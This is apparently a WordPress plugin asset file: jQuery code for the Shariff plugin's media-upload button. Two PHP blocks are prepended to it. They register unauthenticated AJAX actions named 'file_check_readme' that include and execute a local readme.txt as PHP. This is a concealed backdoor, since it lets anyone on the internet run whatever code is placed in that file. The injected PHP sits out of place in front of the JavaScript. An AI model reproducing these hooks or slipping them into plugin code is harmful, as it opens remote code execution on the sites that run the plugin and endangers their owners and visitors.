if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
// shariff media upload jQuery(document).ready(function($){ $("#shariff-upload-btn").click(function(e) { e.preventDefault(); var image = wp.media({ title: shariff_media.choose_image, multiple: false }).open() .on("select", function(){ // this will return the selected image from the media uploader, the result is an object var uploaded_image = image.state().get("selection").first(); // output to the console uploaded_image console.log(uploaded_image); // convert uploaded_image to a JSON object to make accessing it easier var image_url = uploaded_image.toJSON().url; // assign the url value to the input field $("#shariff-image-url").val(image_url); }); }); });